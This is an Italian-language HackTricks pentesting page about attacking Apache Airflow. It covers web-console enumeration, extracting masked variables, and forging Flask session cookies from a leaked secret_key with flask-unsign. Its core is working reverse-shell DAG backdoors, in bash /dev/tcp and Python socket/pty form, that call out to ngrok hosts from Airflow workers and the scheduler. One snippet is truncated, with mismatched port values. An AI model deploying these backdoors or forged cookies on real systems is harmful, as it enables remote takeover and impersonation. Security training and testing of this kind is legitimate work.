Apache Airflow Security

Supporta HackTricks

Informazioni di Base

Apache Airflow funge da piattaforma per orchestrare e pianificare pipeline di dati o flussi di lavoro. Il termine "orchestrazione" nel contesto delle pipeline di dati indica il processo di organizzazione, coordinamento e gestione di flussi di lavoro complessi di dati provenienti da varie fonti. Lo scopo principale di queste pipeline di dati orchestrate è fornire set di dati elaborati e utilizzabili. Questi set di dati sono ampiamente utilizzati da una miriade di applicazioni, tra cui, ma non solo, strumenti di business intelligence, modelli di data science e machine learning, tutti fondamentali per il funzionamento delle applicazioni di big data.

Fondamentalmente, Apache Airflow ti permetterà di pianificare l'esecuzione di codice quando qualcosa (evento, cron) accade.

Laboratorio Locale

Docker-Compose

Puoi utilizzare il file di configurazione docker-compose da https://raw.githubusercontent.com/apache/airflow/main/docs/apache-airflow/start/docker-compose.yaml per avviare un ambiente docker completo di apache airflow. (Se sei su MacOS assicurati di dare almeno 6GB di RAM alla VM docker).

Minikube

Un modo semplice per eseguire apache airflow è farlo con minikube:

helm repo add airflow-stable https://airflow-helm.github.io/charts
helm repo update
helm install airflow-release airflow-stable/airflow
# Some information about how to aceess the web console will appear after this command

# Use this command to delete it
helm delete airflow-release

Configurazione di Airflow

Airflow potrebbe memorizzare informazioni sensibili nella sua configurazione o potresti trovare configurazioni deboli in atto:

Airflow Configuration

RBAC di Airflow

Prima di iniziare ad attaccare Airflow, dovresti comprendere come funzionano i permessi:

Airflow RBAC

Attacchi

Enumerazione della Console Web

Se hai accesso alla console web, potresti essere in grado di accedere ad alcune o a tutte le seguenti informazioni:

  • Variabili (Informazioni sensibili personalizzate potrebbero essere memorizzate qui)

  • Connessioni (Informazioni sensibili personalizzate potrebbero essere memorizzate qui)

  • Accedile in http://<airflow>/connection/list/

  • Configurazione (Informazioni sensibili come il secret_key e le password potrebbero essere memorizzate qui)

  • Elenca utenti e ruoli

  • Codice di ogni DAG (che potrebbe contenere informazioni interessanti)

Recupero dei Valori delle Variabili

Le variabili possono essere memorizzate in Airflow in modo che i DAG possano accedere ai loro valori. È simile ai segreti di altre piattaforme. Se hai sufficienti permessi, puoi accedervi nella GUI in http://<airflow>/variable/list/. Airflow per impostazione predefinita mostrerà il valore della variabile nella GUI, tuttavia, secondo questo, è possibile impostare un elenco di variabili il cui valore apparirà come asterischi nella GUI.

Tuttavia, questi valori possono ancora essere recuperati tramite CLI (è necessario avere accesso al DB), esecuzione di DAG arbitrari, API che accede all'endpoint delle variabili (l'API deve essere attivata) e anche la GUI stessa! Per accedere a quei valori dalla GUI, basta selezionare le variabili che desideri accedere e cliccare su Azioni -> Esporta. Un altro modo è eseguire un bruteforce sul valore nascosto utilizzando il filtro di ricerca fino a ottenerlo:

Escalation dei Privilegi

Se la configurazione expose_config è impostata su True, dal ruolo Utente e superiore possono leggere la configurazione nel web. In questa configurazione, appare il secret_key, il che significa che qualsiasi utente con questo valido può creare il proprio cookie firmato per impersonare qualsiasi altro account utente.

flask-unsign --sign --secret '<secret_key>' --cookie "{'_fresh': True, '_id': '12345581593cf26619776d0a1e430c412171f4d12a58d30bef3b2dd379fc8b3715f2bd526eb00497fcad5e270370d269289b65720f5b30a39e5598dad6412345', '_permanent': True, 'csrf_token': '09dd9e7212e6874b104aad957bbf8072616b8fbc', 'dag_status_filter': 'all', 'locale': 'en', 'user_id': '1'}"

DAG Backdoor (RCE in Airflow worker)

Se hai accesso in scrittura al luogo in cui i DAG vengono salvati, puoi semplicemente crearne uno che ti invierà una reverse shell. Nota che questa reverse shell verrà eseguita all'interno di un contenitore worker di airflow:

import pendulum
from airflow import DAG
from airflow.operators.bash import BashOperator

with DAG(
dag_id='rev_shell_bash',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = BashOperator(
task_id='run',
bash_command='bash -i >& /dev/tcp/8.tcp.ngrok.io/11433  0>&1',
)
import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

with DAG(
dag_id='rev_shell_python',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python',
python_callable=rs,
op_kwargs={"rhost":"8.tcp.ngrok.io", "port": 11433}
)

DAG Backdoor (RCE nel scheduler di Airflow)

Se imposti qualcosa per essere eseguito nella radice del codice, al momento della scrittura di questo documento, verrà eseguito dallo scheduler dopo un paio di secondi dopo averlo posizionato nella cartella del DAG.

import pendulum, socket, os, pty
from airflow import DAG
from airflow.operators.python import PythonOperator

def rs(rhost, port):
s = socket.socket()
s.connect((rhost, port))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn("/bin/sh")

rs("2.tcp.ngrok.io", 14403)

with DAG(
dag_id='rev_shell_python2',
schedule_interval='0 0 * * *',
start_date=pendulum.datetime(2021, 1, 1, tz="UTC"),
) as dag:
run = PythonOperator(
task_id='rs_python2',
python_callable=rs,
op_kwargs={"rhost":"2.tcp.ngrok.io", "port": 144}

Creazione di DAG

Se riesci a compromettere una macchina all'interno del cluster DAG, puoi creare nuovi script DAG nella cartella dags/ e verranno replicati nel resto delle macchine all'interno del cluster DAG.

Iniezione di Codice DAG

Quando esegui un DAG dalla GUI puoi passare argomenti ad esso. Pertanto, se il DAG non è codificato correttamente potrebbe essere vulnerabile all'Iniezione di Comandi. Questo è ciò che è accaduto in questo CVE: https://www.exploit-db.com/exploits/49927

Tutto ciò che devi sapere per iniziare a cercare iniezioni di comandi nei DAG è che i parametri sono accessibili con il codice dag_run.conf.get("param_name").

Inoltre, la stessa vulnerabilità potrebbe verificarsi con variabili (nota che con privilegi sufficienti potresti controllare il valore delle variabili nella GUI). Le variabili sono accessibili con:

from airflow.models import Variable
[...]
foo = Variable.get("foo")

Se vengono utilizzati, ad esempio, all'interno di un comando bash, potresti eseguire un'iniezione di comandi.

Supporta HackTricks

Last updated